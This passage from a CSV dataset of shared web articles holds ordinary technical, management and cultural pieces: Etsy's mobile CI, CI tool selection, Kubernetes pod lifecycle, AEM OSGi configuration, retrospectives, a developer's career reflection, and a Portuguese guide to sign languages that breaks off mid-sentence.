1467996081,CONTENT SHARED,-7124339858992523617,3636910968448833585,2349207623729561279,,,,HTML,https://www.infoq.com/news/2014/11/continuous-integration-mobile,How Etsy Does Continuous Integration for Mobile Apps,"Nassim Kammah , engineer at Etsy , explained to Velocity Conference Europe 2014 attendants how Etsy does continuous integration for mobile apps. Nassim focused his presentation on iOS apps, less so on the Android space. The mobile apps release process, more so on iOS, is much different from that of a web application. Etsy is well-known for releasing upwards 50 times a day on the web stack, but Apple's review process takes around 5 days on average. Compounding this issue is that, unlike web applications, users get to decide when to update their apps. The cost of a mobile app error is greater than that of a web app error, because it takes much longer to fix. Making it even more complex, the number of different devices makes for an overwhelming test matrix. Etsy faces those challenges by leveraging as much as possible the same continuous integration principles and tools that it applies to the web stack. It tries to do continuous releases, not to their customers as that's not possible, but to their internal teams. It has a fully automated build, right up to the point where the binaries are handed for Apple's review. Development processes that reinforce the confidence on the mobile apps quality complement this automation. Each commit triggers a build on the mainline with Jenkins assuming the role of the CI server. Etsy considers that within its context, Apple's solution to continuous integration, XCode Server and bots , is not the most adequate. When building an app with XCode, the code signing process is automagically handled by the IDE, but that solution is not acceptable for a continuous integration process. Apple's provisioning profiles , required for code signing , are stored on the GitHub repo (Etsy uses GitHub Enterprise). During a build on an integration machine, they are passed to Shenzhen to build the .ipa files, which store the iOS apps. Shenzhen is part of Nomad-cli , a set of command line tools for iOS development. The integration (or build) machines infrastructure is composed of 25 Mac minis provisioned with Chef, with the help of Homebrew and rbenv . Highlighting the difficulties of Mac OSX provisioning automation, XCode installation stills requires a click, so the process is still not fully automated. Etsy's engineers strive to commit everyday, as they do on the web stack. Given that each commit triggers a build on the mainline, the same techniques that are applied to the web applications are also applied to the mobile apps. Branch by abstraction , which allows for continuous releasing even under ongoing structural changes, and feature toggles (a.k.a. feature flags or config flags) allow for branching in code and continuous commits on the mainline. These techniques can lead to complicated code but Nassim told that the team, on balance, prefers this solution over version control branching. The continuous integration process can keep the integrity of its principles this way. Even so, there are some rough edges to be smoothed. For instance, feature toggles are only checked on the app startup, removing some of the flexibility web applications enjoy. TryLib , which allows for a developer to test its changes in the continuous integration infrastructure before committing them, is also used for the mobile apps code. On their inception, the mobile apps were not developed with unit tests. Retrofitting them to the existing code base was a challenge. While some teams solve this issue by assigning a developer each sprint to build up the unit test coverage, Etsy preferred a different approach: Testing Dojos . 6 engineers gather around a room with 1 computer, 1 projector and a simple testing objective. Each developer has the keyboard for three minutes and then rotates, turning into a sharing and learning experience. Mobile apps functional testing poses some unique challenges, due to the variety of mobile devices. Functional tests are written with Calabash , a Cucumber -based automated acceptance framework for iOS and Android, which must then be exercised on simulators and real devices. Etsy chose to use regular simulators, in-house, but it outsourced the testing on real devices to Appthwack , an online service that does automated testing on those real devices. Nassim told the audience that they choose the devices on their testing pool by looking into Google Analytics data of their user's devices. Functional tests are flaky, mostly due to timeouts according to Nassim, so Etsy uses the concept of a rolling window pass rate to assess their level of confidence on the apps quality. A rolling windows pass rate defines a gradient of colors from red to green, as opposed to the binary alternative between those two colors. Besides dog fooding the mobile apps by rolling out continuous releases to their internal teams, two additional layers of manual quality assurance are regularly performed. One is ""app rotations"": 8 volunteers gather in a room, accompanied by a QA facilitator and a mix of devices. The goal is to find as many bugs as possible in a predefined timebox. The other is using the Bug Hunting tool, which allows the team to report bugs directly from the device, attaching screenshots to help identify the bug. There is a level of gamification involved, with a leaderboard of the most prolific bug hunters. The Android stack is a bit more immature, so Nassim did not present a detailed explanation of Etsy's processes for that technology.",en
1467996261,CONTENT SHARED,-907419983362132448,3636910968448833585,2349207623729561279,,,,HTML,https://blog.testmunk.com/continuous-integration-for-mobile-apps/,Continuous Integration for Mobile Apps,"Continuous integration (CI) is a development approach that favors testing and reporting of changes to a given build as they happen, rather than at set artificial intervals, or at the end of a given process. This means that if a given change to the code base is implemented and is faulty, the flaw will be picked up immediately, and reported in near real-time, allowing the team to react accordingly. The goal of Continuous Integration for Mobile Apps is to establish a rapid and consistent feedback system that will allow developers to fix or adapt to constantly changing application or software. Graphic Credit: MERA Software Services ""CI is a software development practice where members of a team integrate their work frequently, usually each person integrates at least daily - leading to multiple integrations per day. Each integration is verified by an automated build (including test) to detect integration errors as quickly as possible. Many teams find that this approach leads to significantly reduced integration problems and allows a team to develop cohesive software more rapidly."" - Martin Fowler 2006 While originally used for standard software development, continuous integration for mobile apps has long been adopted as well. As Martin's quote above illustrates, CI is strongly associated with automated build practices, including automated testing. The goal is to build the software or application whenever a change is applied, in order to detect and confirm any integration errors as they happen. By building, we mean a process of compiling, inspecting, testing and deploying integrated segments of source code to prove that it all works together as it should. This, of course, requires specialized tools and platforms, some of which we will discuss in today's article, in particular those that focus on mobile application development. Considerations for CI for Mobile Apps Platform One of the primary considerations is, of course, what platform you are developing for. For example, Shippable supports Android, but not iOS (according to comparison chart at bottom of their page). If developing for both iOS and Android, Travis CI and CircleCI might be better choices, based on this criteria alone. Of course, the list of considerations is a lot more complicated than that, and the right product for one company is not going to be the right one for another. If supporting more than one platform, this consideration may be adapted to which tool best supports both platforms. Provided a CI toolset supports both, gear your decision towards the side that provides your primary project workload. Supporting more than one CI tool for different development teams can prove both costly and problematic, especially if you would like to implement cross-platform testing . If you plan on adding a development platform in the near future (for example, if Windows gains a more considerable app market share), you will want to be sure to factor this into your decision. If the platform does not yet support the expansion platform, it should be a prominent part of their product roadmap. Hosted vs On-premise (or Self-Managed) Another consideration to keep in mind is whether the CI server used is on-premise or a cloud service. Each provides its own strengths and potential weaknesses to the discussion . This decision rests strongly on the degree of control you want over your CI solution. On-site/Self-managed Solutions for Continuous Integration for Mobile Apps This is not a matter of security - hosted CI solutions can be very secure if implemented correctly - it has to do with the configurability and extensibility inherent in an on-premise (self-managed) offering. One example is branching. With externally hosted solutions, you rarely get automatic branch management. Typically there has to be a build plan for each branch, created manually. There is often no support for branch management strategies, such as downstream or upstream merging. Manual intervention is typically required for most changes to an external CI solution. CI solutions such as Bamboo, TeamCity and Jenkins have support for automatic branching of build plans, either out of the box or via plugins. With on-premise solutions, there are hundreds of hooks, triggers, integrations (e.g. JIRA + Bamboo) which can be configured to automate many tasks that would be manual on a hosted solution. Another potential issue is migration. By selecting a hosted CI, you are often tying yourself to both their good and bad points, and you have limited options should the hosted solution fail or get bought out. If you think this does not happen, consider the fate of ship.io , one of the oft-recommended solutions for mobile CI. With on-premise servers, most offer some form of migration services, as each is more than happy to poach a customer from a competitor. An example of this is Bamboo, Atlassian's CI server solution, which offers an option to migrate your Jenkins build . Custom in-house tools can also be a reason to stick with an on-premise solution - the more control you have over your CI server, the easier it is to create and manage in-house tools and integrate them into your build plan. Note that solutions such as Jenkins, Bamboo, TeamCity, do not have to be ""on-premise"" to give these benefits. They can be hosted in the cloud and managed by your organization in order to provide the best of both worlds. An example of such a hybrid offering is Cloudbees Jenkins in the cloud solutions. Further proof of this is that a strong iOS mobile focused hosted solution, Hosted CI , boasts that it is based on a ""mature Jenkins Server."" An on-premise solution is typically more scalable than a hosted solution, with the number of builds that can be run determined by the resources you provide the server, and the human resources you have available for configuration and customization. Hosted Solutions for Continuous Integration for Mobile Apps One of the key selling points of hosted CI solutions is the ease with which you can get started. Building a mature and tailored Jenkins CI server that fits your organizations needs to the degree of customization described above can take a great deal of time and effort. Much like any in-house system, this growth is typically organic, and the true benefits of the platform may not be seen immediately. By contrast, with hosted solutions, you typically see immediate gains in productivity and quality control, as everything is already pre-configured or requires minimal configuration. However, further gains are likely to be determined by the addition of new features or fixes from the CI platform development team, not internal innovation. Hosted continuous integration solutions typically are very user friendly and have invested a great deal more effort into UI considerations. By contrast, Jenkins, the leading open source on-premise server, is widely regarded to have a poor or dated UI. Indeed, as Gus Reiber put it in a blog post about upcoming UI changes: ""I will even go so far as to say, I believe it is a platform liability at the moment, and even among we the Jenkins faithful, few of us look forward to using it."" - Gus Reiber The good news is that this shows that an on-site server is aware of the issue, but in terms of focus on user experience, hosted platforms have by and large maintained this as a priority and are not playing catch-up. Another selling point is that in their efforts to make CI simple, hosted solutions have begun to tailor their solutions towards mobile development. This means that out-of-the-box, these solutions are often a better fit with your existing development processes, which is important particularly for startups with little time to invest in tailoring their own solution. Some, like Hosted-CI, have focused entirely on one platform. By doing so, they can offer iOS developers features that other platforms don't, such as automated deployment to Testflight, or the capability to manage dependencies through CocoaPods. Some platforms that instead invest equally in Android and iOS include Codeship , and CircleCI . Travis CI also supports Android, but it appears to still be in the beta stage . However, Travis CI's strong and dedicated open source community might help it outpace its competitors in features for mobile development. It is worth noting, however, that most of the hosted solutions have only just begun to commit to mobile development and tend to have a richer feature set for web apps (as stated by Paul Biggar, founder of CircleCI, on Quora .) Another selling point is that these tools offer seamless pushes to production platforms like Heroku , Amazon EC2 and Google App Engine . While this is equally possible on self-managed servers such as Jenkins, Bamboo, TeamCity, etc, this functionality is typically not out of the box, but covered by configuration and plugins. This can in itself be part of your selection criteria...when considering which hosted platform to use, the production platforms supported might be a key consideration. To compare hosted platforms side by side, try stackshare.io or slant.co . Automation (and Automated Testing) Key to Continuous Integration Success Automation is key to Continuous Integration success. Every aspect of continuous integration can be automated, from building the dev and test environments, configuring each environment, maintaining the correct configuration for each environment, remediating configuration drift and scaling up as needed. It is no coincidence that the first of these tasks is building the dev and test environment...automated testing is at the heart of any CI pipeline. Without proper automated tests that are quick to run, have good coverage, and produce accurate results, the feedback needed to keep your build on track will not be received, and the changes needed to keep your processes running smoothly will not be initiated. Automating your testing, and integrating it with your CI pipeline is one of the most important things you can do to ensure success. For continuous integration to be successful, each individual test must be tested from every angle, in order to ensure that it doesn't break something else and that it works as expected. What good is a fix or feature that causes another problem? So what should you look for in your automated testing solution, in order to fit it into your CI pipeline? Cross-platform capabilities You need to be able to test not only the basic code, but the user experience as well. Consistency is key, even when building on different platforms. If you are building on separate platforms (ie, Android and iOS), a solution that allows you to create test cases that work across both platforms will save time and money by preventing duplication of effort. For example, at testmunk, we leverage Calabash and the Page Object Framework to create test cases that reuse test logic where it is uniform, but that allow for differentiation if the steps cannot be identical. Visual Confirmation for Design and UI issues Snapshot of testmunk's dashboard allowing visual confirmation during testing Another key feature that can prove invaluable to a CI effort is visual confirmation that test steps are performing as expected. It doesn't matter if the step is technically successful if the button is too large or small for the screen, or if it is inaccessible when the keyboard is up. These are just some of the issues we've seen resolved quickly because of our automated testing. Intuitive and Human Readable Test Cases If trying to get buy-in for your testing solution, it is important that not only the developer understands what you are testing and what the results are, but that others in the organization - including design, marketing, company leaders, and other stakeholders - can do so as well. Test cases that are easily legible also help in ensuring that these stakeholders can confirm that the test case as written matches what was envisioned for the product (ie that the user story matches the test logic). If the test logic is inscrutable code, this transparency is not likely to happen. This comes back to communication. The output of your automated testing should be a deliverable that helps to move the application forward and allows for quick and easy interpretation. A good CI pipeline depends on this type of continuous and accessible feedback. Ease of Integration Users of on-premise solutions such as Jenkins rarely have to worry that a solution is incompatible, as they are used to uttering the phrase ""there's a plug-in for that."" However, hosted solutions often prefer you to use their own too, and are not necessarily as forgiving in the integration department. However, most can work with the REST API, even if it might take some configuration on their (or your) end. For our part, testmunk integrates well with both Jenkins and Travis, and for other solutions, the REST API should allow for a successful implementation. For more information about integrating Jenkins or Travis with testmunk, check our documentation . Summary When considering your Continuous Integration solution, there are numerous factors to consider, all of which come back to the goals and primary workload of your organization. Your CI platform needs to meet the needs of your organization, whether this means a greater degree of security, customization and control (on-premise or self-managed solutions), or quick and easy set up, immediate gains, and less reliance on internal expertise (hosted solutions). No matter the solution, however, automation and feedback are the keys to success. Your solution must produce actionable feedback that is accurate and timely, allowing your continuous integration implementation to achieve its intended goal: continuous improvement. Martin Poschenrieder has been working in the mobile industry for most of the past decade. After developing several mobile apps, he realized that one of the biggest pain-points in development was mobile app testing. In order to ease this pain, he started Testmunk. Testmunk is based in Silicon Valley, and provides automated app testing over the cloud. About the authors: Follow Martin on twitter Lukas Fryc is a QA Engineer at Testmunk helping some of the biggest iOS and Android apps to establish large scale automated test suites. Before discovering his passion for automation, he worked several years as a mobile app developer. He is passionate about agile and lean methodologies and in his free time he loves to ride his motorbike.",en
1467998016,CONTENT SHARED,-8739701156093513292,3743121668889758064,-5853271423199664095,,,,HTML,http://kubernetes.io/docs/user-guide/pod-states/,The Lifecycle of a Pod,"Edit This Page Updated: 4/14/2015 This document covers the lifecycle of a pod. It is not an exhaustive document, but an introduction to the topic. Pod Phase As consistent with the overall API convention , phase is a simple, high-level summary of the phase of the lifecycle of a pod. It is not intended to be a comprehensive rollup of observations of container-level or even pod-level conditions or other state, nor is it intended to be a comprehensive state machine. The number and meanings of PodPhase values are tightly guarded. Other than what is documented here, nothing should be assumed about pods with a given PodPhase . Pending: The pod has been accepted by the system, but one or more of the container images has not been created. This includes time before being scheduled as well as time spent downloading images over the network, which could take a while. Running: The pod has been bound to a node, and all of the containers have been created. At least one container is still running, or is in the process of starting or restarting. Succeeded: All containers in the pod have terminated in success, and will not be restarted. Failed: All containers in the pod have terminated, at least one container has terminated in failure (exited with non-zero exit status or was terminated by the system). Unknown: For some reason the state of the pod could not be obtained, typically due to an error in communicating with the host of the pod. Pod Conditions A pod containing containers that specify readiness probes will also report the Ready condition. Condition status values may be True , False , or Unknown . Container Probes A Probe is a diagnostic performed periodically by the kubelet on a container. Specifically the diagnostic is one of three Handlers : ExecAction : executes a specified command inside the container expecting on success that the command exits with status code 0. TCPSocketAction : performs a tcp check against the container's IP address on a specified port expecting on success that the port is open. HTTPGetAction : performs an HTTP Get against the container's IP address on a specified port and path expecting on success that the response has a status code greater than or equal to 200 and less than 400. Each probe will have one of three results: Success : indicates that the container passed the diagnostic. Failure : indicates that the container failed the diagnostic. Unknown : indicates that the diagnostic failed so no action should be taken. The kubelet can optionally perform and react to two kinds of probes on running containers: LivenessProbe : indicates whether the container is live , i.e. running. If the LivenessProbe fails, the kubelet will kill the container and the container will be subjected to its RestartPolicy . The default state of Liveness before the initial delay is Success . The state of Liveness for a container when no probe is provided is assumed to be Success . ReadinessProbe : indicates whether the container is ready to service requests. If the ReadinessProbe fails, the endpoints controller will remove the pod's IP address from the endpoints of all services that match the pod. The default state of Readiness before the initial delay is Failure . The state of Readiness for a container when no probe is provided is assumed to be Success . When should I use liveness or readiness probes? If the process in your container is able to crash on its own whenever it encounters an issue or becomes unhealthy, you do not necessarily need a liveness probe - the kubelet will automatically perform the correct action in accordance with the RestartPolicy when the process crashes. If you'd like your container to be killed and restarted if a probe fails, then specify a LivenessProbe and a RestartPolicy of Always or OnFailure . If you'd like to start sending traffic to a pod only when a probe succeeds, specify a ReadinessProbe. In this case, the ReadinessProbe may be the same as the LivenessProbe, but the existence of the ReadinessProbe in the spec means that the pod will start without receiving any traffic and only start receiving traffic once the probe starts succeeding. If a container wants the ability to take itself down for maintenance, you can specify a ReadinessProbe that checks an endpoint specific to readiness which is different than the LivenessProbe. Note that if you just want to be able to drain requests when the pod is deleted, you do not necessarily need a ReadinessProbe - on deletion, the pod automatically puts itself into an unready state regardless of whether the ReadinessProbe exists or not while it waits for the containers in the pod to stop. Container Statuses More detailed information about the current (and previous) container statuses can be found in ContainerStatuses . The information reported depends on the current ContainerState , which may be Waiting, Running, or Terminated. RestartPolicy The possible values for RestartPolicy are Always , OnFailure , or Never . If RestartPolicy is not set, the default value is Always . RestartPolicy applies to all containers in the pod. RestartPolicy only refers to restarts of the containers by the Kubelet on the same node. Failed containers that are restarted by Kubelet, are restarted with an exponential back-off delay, the delay is in multiples of sync-frequency 0, 1x, 2x, 4x, 8x ... capped at 5 minutes and is reset after 10 minutes of successful execution. As discussed in the pods document , once bound to a node, a pod will never be rebound to another node. This means that some kind of controller is necessary in order for a pod to survive node failure, even if just a single pod at a time is desired. Three types of controllers are currently available: Use a for pods which are expected to terminate (e.g. batch computations). Use a ReplicationController for pods which are not expected to terminate (e.g. web servers). Use a : Use for pods which need to run 1 per machine because they provide a machine-specific system service. If you are unsure whether to use ReplicationController or Daemon, then see Daemon Set versus Replication Controller . ReplicationController is only appropriate for pods with RestartPolicy = Always . Job is only appropriate for pods with RestartPolicy equal to OnFailure or Never . All 3 types of controllers contain a PodTemplate, which has all the same fields as a Pod. It is recommended to create the appropriate controller and let it create pods, rather than to directly create pods yourself. That is because pods alone are not resilient to machine failures, but Controllers are. Pod lifetime In general, pods which are created do not disappear until someone destroys them. This might be a human or a ReplicationController , or another controller. The only exception to this rule is that pods with a PodPhase of Succeeded or Failed for more than some duration (determined by the master) will expire and be automatically reaped. If a node dies or is disconnected from the rest of the cluster, some entity within the system (call it the NodeController for now) is responsible for applying policy (e.g. a timeout) and marking any pods on the lost node as Failed . Examples Pod is Running , 1 container, container exits success Pod is Running , 1 container, container exits failure Pod is Running , 2 containers, container 1 exits failure Log failure event When container 2 exits... Log failure event If RestartPolicy is: Always: restart container, pod stays Running OnFailure: restart container, pod stays Running Never: pod becomes Failed Pod is Running , container becomes OOM Container terminates in failure Log OOM event Pod is Running , a disk dies All containers are killed Log appropriate event Pod becomes Failed If running under a controller, pod will be recreated elsewhere Pod is Running , its node is segmented out NodeController waits for timeout NodeController marks pod Failed If running under a controller, pod will be recreated elsewhere",en
1468000605,CONTENT SHARED,9079880752026843473,7527226129639571966,2973078457109900343,,,,HTML,https://uxdesign.cc/design-better-forms-96fadca0f49c?gi=c9aaf6b6b281,Design Better Forms - uxdesign.cc - User Experience Design,"Why ask? Omit optional fields and think of other ways to collect data. Always ask yourself if the question can be inferred, postponed, or completely excluded. Data entry is increasingly automated. For example, mobile and wearable devices collect large amounts of data without the user's conscious awareness. Think of ways you can leverage social, conversational UI, SMS, email, voice, OCR, location, fingerprint, biometric, etc.",en
1468001503,CONTENT SHARED,-2377881752614744441,6756039155228175109,4392480411901977476,,,,HTML,https://www.atlassian.com/time-wasting-at-work-infographic,Certeza que devemos marcar uma reunião?,"Just because you're at work doesn't mean you're getting work done. You're drowning in email, stuck in dead-end meetings, and constantly interrupted. When do you have time to do any real work? Don't worry. You're not alone. excessive email Are you always trying to reach inbox zero? Over-reliance on email to collaborate with your team is costing you precious time and money. pointless meetings Is your workday packed with unproductive meetings? Time spent together is not always time spent getting work done. constant interruptions It started with a tap on the shoulder. Two conversations, four emails, and half a travel blog later, you come to. What were you working on again?",en
1468001538,CONTENT REMOVED,-2377881752614744441,6756039155228175109,4392480411901977476,,,,HTML,https://www.atlassian.com/time-wasting-at-work-infographic,Certeza que devemos marcar uma reunião?,"Just because you're at work doesn't mean you're getting work done. You're drowning in email, stuck in dead-end meetings, and constantly interrupted. When do you have time to do any real work? Don't worry. You're not alone. excessive email Are you always trying to reach inbox zero? Over-reliance on email to collaborate with your team is costing you precious time and money. pointless meetings Is your workday packed with unproductive meetings? Time spent together is not always time spent getting work done. constant interruptions It started with a tap on the shoulder. Two conversations, four emails, and half a travel blog later, you come to. What were you working on again?",en
1468002325,CONTENT SHARED,8881733945001664941,-9120685872592674274,-6699902850090170010,,,,HTML,https://docs.adobe.com/docs/en/aem/6-1/deploy/configuring/configuring-osgi.html,Configuring OSGi,"For run mode specific configurations, multiple run modes can be combined. For example, you can create configuration folders in the following style: /apps/*/config.<runmode1>.<runmode2>/ Configurations in such folders will be applied if all run modes match a run mode defined at startup. For example, if an instance was started with the run modes author,dev,emea, configuration nodes in /apps/*/config.emea, /apps/*/config.author.dev/ and /apps/*/config.author.emea.dev/ will be applied, while configuration nodes in /apps/*/config.author.asean/ and /config/author.dev.emea.noldap/ will not be applied. If multiple configurations for the same PID are applicable, the configuration with the highest number of matching run modes is applied. For example, if an instance was started with the run modes author,dev,emea, and both /apps/*/config.author/ and /apps/*/config.emea.author/ define a configuration for com.day.cq.wcm.core.impl.VersionManagerImpl, the configuration in/apps/*/config.emea.author/ will be applied. This rule's granularity is at a PID level. You cannot define some properties for the same PID in/apps/*/config.author/ and more specific ones in /apps/*/config.emea.author/ for the same PID. The configuration with the highest number of matching run modes will be effective for the entier PID.",en
1468006923,CONTENT SHARED,-2476100034099959458,4918484843075254252,2035470203776071814,,,,HTML,https://management30.com/practice/celebration-grids/,[Retro] Celebration Grids - Management 3.0,"""I use the Celebration Grid during our retrospective to motivate the team to experiment more and to improve the planning of each experiment."" - THOMAS BAER, scrum master, Siemens Does your organization appreciate the things you've learned? Do you applaud colleagues who do their job well? All too often, organizations live day by day, from one crisis to another, and they forget to to take note of the good things that happened. And it's not just about applauding the good things. In work and in life, we sometimes succeed and we sometimes fail. What's important is that whether we have success or failure, we learn from the experiment. This is where most performance management misses the boat. That's why we created the Celebration Grid to celebrate learning ! By drawing a Celebration Grid and asking two important questions, we can look to implant good practices in the future of our business. Celebration Grids are a visual way to present the outcome of an experiment, whether that experiment succeeded or failed. It shows us where we can celebrate the good practices, which result from a positive outcome and where we learned something from our failures. You can see from the diagram the potential areas to celebrate are in green and those colored in gray and red are where we didn't learn, or have a positive outcome. Have each person fill out his or her own celebration grid and then use it as a basis for discussion, even having noisemakers, cake or champagne to celebrate what you've all learned and what experiments and adventures you'll head toward next! Download your own Free PDF Poster to Celebrate Learning in the Workplace! More Celebration Grid tips & case stories: Check out our Leadership Resource Hub to learn about all the Management 3.0 practices. And learn about many more Management 3.0 Practices in Managing for Happiness ! For more learning celebration, check out the Management 3.0 Practice of Yay! Questions! Sharing is caring",en
1468010897,CONTENT SHARED,3301147467076954944,6960073744377754728,1429115423087224859,,,,HTML,https://dzone.com/articles/the-developers-midlife-crisis-whats-next,The Developer's Midlife Crisis: What's Next?,"Check out this 8-step guide to see how you can increase your productivity by skipping slow application redeploys and by implementing application profiling, as you code! Brought to you in partnership with ZeroTurnaround . This week I resigned from my comfortable, well-paid job. I guess I reached that moment where one looks back on what he/she has achieved so far, and wonders what's the plan for the next thirty years. It's That Midlife Crisis Thing... Midlife crisis or not, as a developer you reach a point where you've been doing it for a while and you ponder your next options. Just earning money is not good enough anymore: you need that extra motivation to keep on going until you retire. You could decide that you have written enough code and move up, become a lead/manager. Why not? Teams need leaders, managers, Scrum Masters, etc. It's not as easy as it sounds and you'll have to handle more than you think, but it remains an essential part of the business! You could seize the opportunity and become a freelance consultant, traveling around and solving problems whenever companies turn on that Bat-Signal to call for your help. Or go one step further and start your own agency, taking on bigger projects as you go, aiming at becoming that one-stop shop that can bring fully-tailored solutions to companies. Why not completely change jobs? I've known of one CEO who sold his small IT business and started a food truck business instead: he looked happy enough! I've also seen people just give up and stay for the money. I don't blame them: everyone needs to pay their bills! Putting Your Passion Forward I've decided to spend the next three months finishing my side project and try to build a startup from it. It's called Seeld . It started as a side project I've been working on during my weekends with my ex-colleague and best friend Emad . It's our own attempt at solving the problem of privacy and security with messaging systems. We have almost completed our MVP. We actually went a bit further than MVP features, just because we enjoyed it . Enjoying It! Emad and I are fascinated and worried by the privacy issues we face every day as users on the web. We spend our free time reading articles and blog posts about privacy, security, zero-day vulnerabilities, etc. We look it from the technical angle (CORS, CSRF, attacks, etc.) and from the social perspective (consequences of leaks, big data exploitation, political impacts, etc). Whether the solution we're trying to bring with Seeld is naive or not, we enjoy working on solving that problem ! And that's all the motivation I need! Quality Matters Also worth pointing out: working on our code base has been a real pleasure . You see, we have applied all those great practices we were dying to put into action : remaining agile in our planning and in our development approach, behavior-drive or test-drive the code, spend time refactoring or rewriting to constantly improve the code's maintainability and reusability , etc. By following these principles we have... actually we have been amazingly productive ! And that made us happy ! Is this kind of work possible in an enterprise? I used to believe it was possible, but changing an enterprise's IT culture is a hard and long process which I have (so far) never been able to witness. So... What's My Point? My point is this: some simply consider themselves lucky enough to be paid to write code. It's true: it IS great to be paid to write code! On the other hand many developers will, at some point, crave for something more. That craving will either force them to explore a different role (as a leader, as a manager, as the CEO of their own company) or have them search for situations where their skills have more value and purpose, where they feel they can make a difference. The developer's midlife crisis: what's the purpose of all this code I write? Seeld gives me purpose. How about you: what is your source of motivation after all these years? Is it Open Source, or maybe a side project you work on? Don't be shy and let me know in the comments here below. Cheers! The Java Zone is brought to you in partnership with ZeroTurnaround . Check out this 8-step guide to see how you can increase your productivity by skipping slow application redeploys and by implementing application profiling, as you code!",en
1468013559,CONTENT SHARED,-7627277742224639768,-5527145562136413747,994193917185601078,,,,HTML,http://papodehomem.com.br/pequeno-guia-para-entender-as-linguas-de-sinais/,Pequeno guia para entender as línguas de sinais,"Foi quando passei algum tempo fora do Brasil (e não foi preciso muito!) que pude experimentar minha ligação afetiva com a nossa língua. Escutar Português depois de dias só ouvindo e falando outras línguas era música para os meus ouvidos e coração. Em um primeiro momento, pode não parecer óbvio, mas a língua é uma das principais manifestações culturais e identitárias. Isto significa que é possível conhecer muito de uma cultura pela sua língua. Visões de mundo e transformações de modos de viver e pensar podem ser identificados nas mais variadas construções linguísticas, sotaques, expressões, palavras e palavrões. Mas um país não é feito de uma única língua. Segundo Gilvan Oliveira, professor e pesquisador na área da Linguística, no Brasil se estima que são mais de ""210 línguas em uso por cerca de um milhão de cidadãos brasileiros que não têm o português como língua materna"". E a Libras, a Língua Brasileira de Sinais, além de ser uma língua não oficial, pertence a uma modalidade de comunicação específica: é visual e espacial. Apesar da Libras ter sido regulamentada em 2005 pelo decreto 5.626, ainda são muitos os enganos a seu respeito. Vamos esclarecer algumas questões recorrentes. Surdo ou surdo-mudo? O termo ""surdo-mudo"" é rejeitado pelos grupos e associações de surdos. O portal da Federação Nacional de Educação e Integração dos Surdos explica que a expressão ""tem sua raiz na história, num tempo muito antigo quando a pessoa Surda estava condenada à mudez. Ser surdo significava automaticamente ser mudo, e pior, ser um abandonado, excluído, desacreditado!"" Oliver Sacks , neurologista norte-americano e autor de "" Vendo Vozes: uma viagem ao mundo dos surdos "" explica que os surdos foram considerados ""'estúpidos' por milhares de anos e considerados 'incapazes' pela lei ignorante - incapazes para herdar bens, contrair matrimônio, receber instrução, ter um trabalho adequadamente estimulante"", negando-lhes direitos humanos fundamentais. A ""mudez"" neste caso não tem relação com uma condição biológica, mas social e cultural. Qual termo seria, então, mais adequado? A palavra ""surdo"" seria o termo mais apropriado e capaz de minimizar a estigmatização das pessoas surdas, pois não focaliza em questões físicas ou biológicas, mas considera a surdez em relação as suas particularidades e à condição linguística diferenciada. Esta diferença não diz respeito a um modo melhor ou pior de se comunicar, apenas diferente. Apesar do termo ""surdo-mudo"" volta e meia aparecer na mídia, é considerado depreciativo e inadequado. Carolina Hessel pesquisou alguns desses exemplos : Não é a toa que já foi criado um guia para a abordagem do tema ""deficiência"" na mídia. Mas há também exemplos inspiradores. Como o personagem Humberto da turma da Mônica que em uma historinha de maio de 2006 passou a se comunicar em Libras. Humberto não é mudo não, mas se expressa por sinais e a turminha também aprendeu como se comunicar com ele. Língua ou linguagem? As línguas de sinais são línguas, assim como é o português, inglês ou espanhol. E a linguística e neurolinguística já vem comprovando isso há algum tempo. Em 1960 se deu o primeiro passo importante para o reconhecimento da Língua de Sinais como uma língua dotada de estrutura gramatical pelo trabalho de William Stokoe , que publicou Sign Language Structure , que Oliver Sacks considera o ""primeiro caso de atenção séria e científica dada ao sistema de comunicação visual dos surdos americanos"". Sacks relata também experiências conduzidas pela professora Úrsula Bellugi , durante a década de 1970, sobre a estrutura das línguas de sinais. Beluggi constatou que a língua de sinais se processa no hemisfério esquerdo do cérebro, utilizando as mesmas vias neurais necessárias ao processamento da fala gramatical, portanto, usuários da língua de sinais, embora possuam uma língua de natureza visual-espacial, apresentam a mesma constituição cerebral que usuários de línguas orais. Os estudos científicos são recentes mas sabe-se que, como as línguas orais, a língua de sinais é constituída por mecanismos fonológicos, semânticos, sintáticos e morfológicos, tendo como principal característica seu caráter visual-espacial. Ou seja: línguas de sinais são tão complexas quanto línguas orais. Basta saber o alfabeto? De jeito nenhum. O alfabeto manual, também conhecido como alfabeto datilológico, é muito utilizado para comunicar nomes próprios ou palavras que ainda não possuem sinal correspondente, mas para uma comunicação efetiva é preciso aprender muitos outros sinais e estruturas gramaticais. Além de estudo teórico, aprender Libras, como qualquer língua, requer também muita prática. Conhecer o alfabeto é apenas o primeiro passo. Na língua de sinais, cada pessoa tem um sinal correspondente, para que não seja sempre necessário indicar o nome todo pelo alfabeto manual. Quando um surdo se apresenta, é bem comum que diga seu nome e seu sinal. Se você ainda não tem, quando conhecer um surdo ou um grupo de surdos, poderá ser ""batizado"" com um sinal. Os significados dos sinais são óbvios? Não. Pelo menos não todos. Existem tantos sinais icônicos (que fazem alusão a imagem do que representam), quanto arbitrários (que não mantêm semelhança com o que representam). Mesmo os sinais icônicos não são necessariamente evidentes. Para quem não conhece a língua, entender uma conversa em Libras, geralmente é bastante difícil. Cada país tem sua língua de sinais É bastante comum a suposição de que todas as línguas de sinais são iguais ou que se deveria criar uma língua de sinais internacional. Mas assim como cada país tem seu idioma, tem também sua língua de sinais. No filme Babel , dirigido por Alejandro González Iñarritu, por exemplo, a personagem Chieko, interpretada pela atriz Rinko Kikuchi se comunica pela Língua de Sinais Japonesa. Rinko foi indicada ao Oscar de melhor atriz coadjuvante pelo papel desempenhado em Babel. Chieko é uma garota surda com dificuldades de se relacionar, deslocada em um mundo muitas vezes inacessível. Apesar das diferenças linguísticas, as barreiras culturais e sociais são recorrentes nos mais variados países. Embora existam propostas de línguas universais (como o Esperanto e o Gestuno ), sabe-se que línguas são manifestações vivas e culturais, modificam-se com o tempo, acompanham a história e os contextos sociais e culturais de um determinado grupo. Sempre haverão apropriações e transformações, assim como diversidade de uso. Diversidade dentro de um mesmo país O caráter linguístico da língua de sinais também é reconhecido pela ocorrência de regionalismos, variações locais, sotaques, gírias, da mesma maneira que ocorre com as línguas orais. A revista Mundo Estranho publicou em 2010 algumas gírias em Libras. Língua escrita de sinais Já se defendeu que a impossibilidade de uma versão escrita da língua de sinais confirmaria sua invalidade linguística. Pois esta suposição já foi contrariada, o SignWriting consiste em um sistema de escrita da língua de sinais, criado por Valerie Sutton em 